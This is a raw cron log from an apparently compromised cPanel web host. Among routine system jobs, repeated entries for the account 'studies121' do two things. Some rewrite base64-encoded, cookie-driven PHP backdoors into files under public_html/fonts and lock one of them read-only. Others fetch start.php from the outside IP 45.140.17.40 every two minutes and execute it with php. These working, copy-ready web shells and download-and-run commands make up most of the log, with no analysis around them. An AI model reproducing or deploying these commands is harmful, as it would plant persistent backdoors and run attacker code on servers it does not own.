Sep  2 16:53:01 ip-184-168-122-23 CROND[15833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:53:01 ip-184-168-122-23 CROND[15835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:53:01 ip-184-168-122-23 CROND[15837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:53:01 ip-184-168-122-23 CROND[15838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:54:01 ip-184-168-122-23 CROND[15911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:54:01 ip-184-168-122-23 CROND[15913]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:54:01 ip-184-168-122-23 CROND[15914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:54:01 ip-184-168-122-23 CROND[15916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:54:01 ip-184-168-122-23 CROND[15915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:55:01 ip-184-168-122-23 CROND[16010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:55:01 ip-184-168-122-23 CROND[16009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:55:01 ip-184-168-122-23 CROND[16014]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:55:01 ip-184-168-122-23 CROND[16013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:55:01 ip-184-168-122-23 CROND[16015]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:55:01 ip-184-168-122-23 CROND[16017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:56:01 ip-184-168-122-23 CROND[16104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:56:01 ip-184-168-122-23 CROND[16107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:56:01 ip-184-168-122-23 CROND[16106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:56:01 ip-184-168-122-23 CROND[16108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:56:01 ip-184-168-122-23 CROND[16109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:57:01 ip-184-168-122-23 CROND[16274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:57:01 ip-184-168-122-23 CROND[16275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:57:01 ip-184-168-122-23 CROND[16278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:57:01 ip-184-168-122-23 CROND[16276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:58:01 ip-184-168-122-23 CROND[16367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:58:01 ip-184-168-122-23 CROND[16370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:58:01 ip-184-168-122-23 CROND[16369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:58:01 ip-184-168-122-23 CROND[16371]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:58:01 ip-184-168-122-23 CROND[16372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:59:01 ip-184-168-122-23 CROND[16457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:59:01 ip-184-168-122-23 CROND[16461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:59:01 ip-184-168-122-23 CROND[16461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:59:01 ip-184-168-122-23 CROND[16459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:59:01 ip-184-168-122-23 CROND[16460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:00:01 ip-184-168-122-23 CROND[16559]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 17:00:01 ip-184-168-122-23 CROND[16560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:00:01 ip-184-168-122-23 CROND[16564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:00:01 ip-184-168-122-23 CROND[16565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:00:01 ip-184-168-122-23 CROND[16569]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:00:01 ip-184-168-122-23 CROND[16570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:00:01 ip-184-168-122-23 CROND[16571]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:00:01 ip-184-168-122-23 CROND[16575]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:01:01 ip-184-168-122-23 CROND[16664]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 17:01:01 ip-184-168-122-23 CROND[16665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16664]: starting 0anacron
Sep  2 17:01:01 ip-184-168-122-23 CROND[16668]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 17:01:01 ip-184-168-122-23 CROND[16679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:01:01 ip-184-168-122-23 CROND[16677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:01:01 ip-184-168-122-23 CROND[16676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16687]: finished 0anacron
Sep  2 17:02:01 ip-184-168-122-23 CROND[16882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:02:01 ip-184-168-122-23 CROND[16884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:02:01 ip-184-168-122-23 CROND[16886]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:02:01 ip-184-168-122-23 CROND[16887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:02:01 ip-184-168-122-23 CROND[16885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:03:01 ip-184-168-122-23 CROND[16996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:03:01 ip-184-168-122-23 CROND[16998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:03:01 ip-184-168-122-23 CROND[17000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:03:01 ip-184-168-122-23 CROND[16999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:04:01 ip-184-168-122-23 CROND[17099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:04:02 ip-184-168-122-23 CROND[17101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:04:02 ip-184-168-122-23 CROND[17102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:04:02 ip-184-168-122-23 CROND[17104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
